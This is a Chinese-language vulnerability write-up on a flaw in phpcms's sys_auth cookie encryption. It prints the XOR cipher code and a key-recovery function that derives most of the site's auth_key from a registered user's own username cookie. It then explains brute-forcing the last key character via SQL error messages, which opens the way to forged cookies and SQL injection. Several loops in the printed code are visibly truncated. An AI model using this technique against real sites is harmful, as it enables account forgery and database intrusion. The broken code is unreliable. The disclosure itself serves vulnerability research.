一 描叙:

phpcms 使用sys_auth函数加解密cookie信息,系统中多个文件直接从cookie中获取变量进入程序流程。

由于sys_auth函数在设计和使用过程中存在缺陷,导致注册用户可以伪造cookie数据,触发SQL注入等多个二次攻击。

二 分析 :

看sys_auth函数代码

//libs/functions/global.func.php

function sys_auth($txt, $operation = ''ENCODE'', $key = '''') {

$key = $key ? $key : pc_base::load_config(''system'', ''auth_key'');

$txt = $operation == ''ENCODE'' ? (string)$txt : base64_decode($txt);

$len = strlen($key);

$code = '''';

for($i=0; $i

$k = $i % $len;

$code .= $txt[$i] ^ $key[$k];

}

$code = $operation == ''DECODE'' ? $code : base64_encode($code);

return $code;

}

通过于$auth_key进行^运算达到加密的目的,$auth_key是系统安装时随机生成的一个长度为20的字符串。

要伪造cookie变量需要知道$auth_key,我们看看如何来获取。

注册用户登录过程

//phpcms/modules/member/index.php

public function login() {

……

param::set_cookie(''auth'', $phpcms_auth, $cookietime);

param::set_cookie(''_userid'', $userid, $cookietime);

param::set_cookie(''_username'', $username, $cookietime);

param::set_cookie(''_groupid'', $groupid, $cookietime);

param::set_cookie(''_nickname'', $nickname, $cookietime);

param::set_cookie(''cookietime'', $_cookietime, $cookietime);

……

//phpcms/libs/classes/param.class.php

public static function set_cookie($var, $value = '''', $time = 0) {

$time = $time > 0 ? $time : ($value == '''' ? SYS_TIME - 3600 : 0);

$s = $_SERVER[''SERVER_PORT''] == ''443'' ? 1 : 0;

$var = pc_base::load_config(''system'',''cookie_pre'').$var;

$_COOKIE[$var] = $value;

if (is_array($value)) {

foreach($value as $k=>$v) {

setcookie($var.''[''.$k.'']'', sys_auth($v, ''ENCODE''), $time, pc_base::load_config(''system'',''cookie_path''), pc_base::load_config(''system'',''cookie_domain''), $s);

}

} else {

setcookie($var, sys_auth($value, ''ENCODE''), $time, pc_base::load_config(''system'',''cookie_path''), pc_base::load_config(''system'',''cookie_domain''), $s);

}

}

明显可以看出,登陆的时候 $username通过sys_auth函数处理后赋值到了cookie。

好了,下面去注册一个用户名长度为19字符的(最长为20,但是需要有一个\0,所以实际上只能是19)用户。

登陆系统后获取cookie里面对应的值,就可以逆向推算出$auth_key的前19位。

逆推函数如下

function antisys_auth() {

$txt = base64_decode(urldecode("你cookie里面的值"));

$name = "你的用户名";

$len = 20;

$key = '''';

for($i=0; $i

$k = $i % $len;

$key .= $txt[$i] ^ $name[$k];

}

return $key;

}

$auth_key剩下的最后一位如何获取? 这个就很简单了,找到任意一个使用get_cookie()获取变量然后进入sql流程的地方,

利用phpcms的sql错误机制,可以很容易的判断暴力破解出最后一位。

public function halt($message = '''', $sql = '''') {

$this->errormsg = " MySQL Query : $sql

MySQL Error : ".$this->error()."

MySQL Errno : ".$this->errno()."

Message : $message

$msg = $this->errormsg;

echo ''

''.$msg.''

'';

exit;

}

Comments
Write a Comment